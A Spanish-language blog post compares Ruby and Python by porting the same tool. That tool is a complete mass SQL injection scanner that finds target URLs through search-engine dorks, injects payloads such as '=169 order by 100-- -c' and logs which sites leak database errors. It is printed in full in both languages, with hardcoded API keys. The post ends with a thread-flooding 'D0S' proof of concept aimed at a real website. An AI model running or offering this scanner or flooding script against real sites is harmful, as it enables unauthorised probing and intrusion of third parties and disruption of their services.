Nuevas Entradas

Ruby vs Python - The Same Code





by hdbreaker

Bueno en esta entrada, quiero tocar este muy sensible tema dando mi punto de vista sobre ambos lenguajes en base a mi experiencia, por lo que me decidí a portar un proyecto que realice en Python a Ruby para poder compararlos.

El proyecto: Scanner de SQL Injection por Bing Dork

Ambos lenguajes requieren importar librerías externas, ambos tienen repositorios gigantes de librerias llamadas Gemas en Ruby y Modulos en Python

Ambos tienen excelentes PackageManagers  para cumplir el requisitos de instalación y gestión de librerías y dependencias, por su lado Ruby tiene a bundler y Python tiene pip.

Comparemos!

Las dependencias:

Ruby: 

require 'searchbing'
require 'unirest'
require 'nokogiri'
require 'colorize'

Python:

import urllib2
import html2text
import json
import random
from colorama import Fore, Back, Style,init

La  única diferencia entre ambos lenguajes es que python  depende del modulo 'json' para lograr parsear la respuesta de Bing. Colorize y Colorama son los encargados de darle color a nuestras salidas de consola

Las Clases:

Ruby:

class Main  
  #Code Here
end 

Python:

class Main():
  #Code Here

En esto la verdad, que no encuentro diferencia entre ambos lenguajes. Uno usa el bloque end y el otro Indentación

Inicialización:

Ruby:

def initialize()
    @regExp = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i']
end


Python:


def __init__(self):
        self.arrayErrors = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i'];


Ambos lenguajes tienen su propia syntaxis para los constructores de clases

Funciones:

Ruby:

def randomKeys()
        index = Random.rand(0...4);
        keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I'];
        return keys[index];
end

Python:

def randomKeys(self):
        index = random.randrange(1,5);
        keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I'];
        return keys[index];


Uff me asusta lo similar de estas 2 funciones, la verdad que no encuentro mayores diferencias.

Códigos Completos:

Ruby:
require 'searchbing'
require 'unirest'
require 'nokogiri'
require 'colorize'

class Main

  def initialize()
    @regExp = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i']
  end

  def randomKeys()
    index = Random.rand(0...4);
    keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I'];
    return keys[index];
  end

  def Search()
    urls = []
    print "Bing Dork: "
    dork = gets().chomp()
    bingSearch = Bing.new(randomKeys(), 99999, 'Web')
    results = bingSearch.search(dork)
    results[0][:Web].each { |res|
      urls.push(res[:Url])
    }
    isVulnerable(urls)
  end

  def export(vulnUrls)

    vulnUrls.each { |url|
      File.open("./vulnerable.txt", 'a') { |file| file.write(url+"\n") }
    }

  end

  def isVulnerable(urls)
    vulnerables = []
    vectores=['=\'','="', '=-999', '=169 order by 100-- -c']

    urls.each { |url|
      vectores.each { |vector|
        injectedUrl=url.gsub("=",vector)
        request = Unirest.get(injectedUrl)
        responseTxt = Nokogiri::HTML(request.body).text
        @regExp.each { |error|
          begin
            if (responseTxt =~/#{error}/)
              puts "Vulnerable => ".red + injectedUrl.red
              vulnerables.push(injectedUrl)
              break
            else
              puts "Not Vulnerable => ".green + injectedUrl.green
              break
            end
          rescue
            break
          end
        }
      }
    }

    export(vulnerables)
    puts "\n*******************************************"
    puts "*****************FINISH********************"
    puts "*******************************************"

  end

end

if(ARGV.length>=1)
  ARGV.each { |arg|
    if(arg=="--vulnerable")
      File.open("./vulnerable.txt", 'r') { |file| puts file.readlines()}
    end
  }
else
  main = Main.new()
  main.Search()
end




Python:

# -*- coding: utf-8 -*-
import urllib2
import html2text
import json
import random
import sys;
import os;
from colorama import Fore, Back, Style
from colorama import init
init()
class Main():

    def __init__(self):
        self.arrayErrors = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i'];

    def randomKeys(self):
        index = random.randrange(1,5);
        keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I'];
        return keys[index];

    def Search(self,query, search_type):
        #search_type: Web, Image, News, Video
        key = self.randomKeys()
        query = urllib2.quote(query)
        # create credential for authentication
        user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)'
        credentials = (':%s' % key).encode('base64')[:-1]
        auth = 'Basic %s' % credentials
        url = 'https://api.datamarket.azure.com/Data.ashx/Bing/Search/'+search_type+'?Query=%27'+query+'%27&$top=100&$format=json'
        request = urllib2.Request(url)
        request.add_header('Authorization', auth)
        request.add_header('User-Agent', user_agent)
        request_opener = urllib2.build_opener()
        response = request_opener.open(request)
        response_data = response.read()
        json_result = json.loads(response_data)
        urls = [res['Url'] for res in json_result['d']['results']]
        return urls

    def export(self, vulnUrls):
        f = open("vulnerable.txt","a");
        f.writelines(vulnUrls + " is vulnerable" + '\n');
        f.close();

    def isVulnerable(self,arrayUrl):
        vulnerables = []
        vectores=['=\'','=\"', '=-999', '=169 order by 100-- -c'];
        for url in arrayUrl:
            Url = ""+url;
            for vector in vectores:
                Url2 = Url.replace("=",vector);
                try:
                    response = ""+urllib2.urlopen(Url2).read();
                    page = html2text.html2text(response.decode('utf-8',errors='ignore'));

                    contenido = page.lower();

                    for error in self.arrayErrors:
                         if(contenido.find(error) > -1):
                            print (Fore.RED + Url2 + " is vulnerable");
                            vulnerables.append(Url2)
                            break
                         else:
                            print (Fore.GREEN + Url2 + " is not vulnerable");
                            break



                except:
                    print(Fore.GREEN + "Ups han error ocurred with this page!");

        self.export(vulnerables)
        print "\n*******************************************"
        print "*****************FINISH********************"
        print "*******************************************"


if (len(sys.argv)>= 2) and (sys.argv[1] == "--vulnerable") and (os.path.exists("vulnerable.txt")):
    f = open("vulnerable.txt")
    for lines in f:
        print (Fore.RED + lines.replace('\n',''));
else:
    print("*Bing Dork Exampĺe: 'Domain:.ar galeria.php?id=1'");
    var = raw_input("Ingrese Bing Dork: \n");
    main = Main()
    urls = main.Search(var,'Web')
    URLS = []
    for url in urls:
        URLS.append(url);
    main.isVulnerable(URLS);

Conclusión:

Realmente no comprendo de donde viene la disputa entre ambos lenguajes, creo que ambos son primos hermanos, comparten diferencias minimas de sintaxis, ambos son interpretados, ambos son sumamente flexibles, ambos tienen una curva de aprendizaje minima, ambos son en exceso poderosos. Ambos lenguajes son recomendados para todo programador experimentado como novato. Además portar código de uno al otro es sumamente fácil.

Creo dar un punto de vista objetivo y técnico, comparando sus bloques estructurales, me saco la camiseta de Python y digo que ambos lenguajes son sumamente interesantes y poderosos. Creo que mucha gente se casa con un lenguaje y se olvida de que un lenguaje de programación es una herramienta.

Cabe resaltar que como todo lenguaje tienen sus características propias y su propia sintaxis para bloques como foreach. Pero ningún lenguaje es limintante, y no se puede decir que con Python vas a poder hacer cosas que con Ruby no ni viceversa.

La diferencia mas importante que pude notar, es que Ruby trabaja con variables Locales, de Clase y Globales, mientras que en python todas las variables son globales. Siendo un programador JAVA puedo decir que me parece una forma mas correcta y segura de tratar las variales que Python.

Un punto en contra para Ruby es que a la fecha  tiene un problema al gestionar multiples hilos junto a peticiones http, dando como resultado un posible segmentation fault: rb_sys_fail(getaddrinfo)

He realizado un pequeñó script que logra demostrar el fallo que afecta a las versiones 1.9.3, 2.2.0 y probablemente a las versiones estables anteriores de Ruby

PoC:

require 'unirest' #require 'net/http' for 1.9.3

class Main

  def call()
    Unirest.get("http://www.like4like.org/") 
    #For 1.9.3
    #uri = URI('http://example.com/index.html?count=10')    
    #Net::HTTPget(uri)  
  end

  def D0S()
    threads = (1..99999).map { |i|
      Thread.new(i){
        call()
      }
    }
    threads.each {|t| t.join}
  end

end

init = Main.new()
init.D0S()

Salida: #full stack trace http://pastebin.com/0UpHZh53




Si seguimos el stack trace, llegamos a la linea donde se produce el error:


TCPSocket.open(conn_address, conn_port, @local_host, @local_port) #Aqui el error 


Al ser la descripcion del error rb_sys_fail(getaddrinfo) podemos deducir que el problema se presenta al intentar obtener cierta informacion del sitio/dominio a solicitar.

Como curiosidad sin confirmar, es posible de que este error pueda utilizarse para explotar el novedoso bug GHOST CVE-2015-0235.


Por suerte el fallo ya ha sido reportado y los desarrolladores de Ruby se encuentran buscando una solución.

Reporte:
https://bugs.ruby-lang.org/issues/9697


Equivalencias:

Ruby             =>     Python

unirest          =>      urlib2 #requets
nokogiri        =>      html2text
colorize         =>      colorama

array.push()   =>      array.append() 
urls.each       =>      for item in array:
puts               =>      print

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates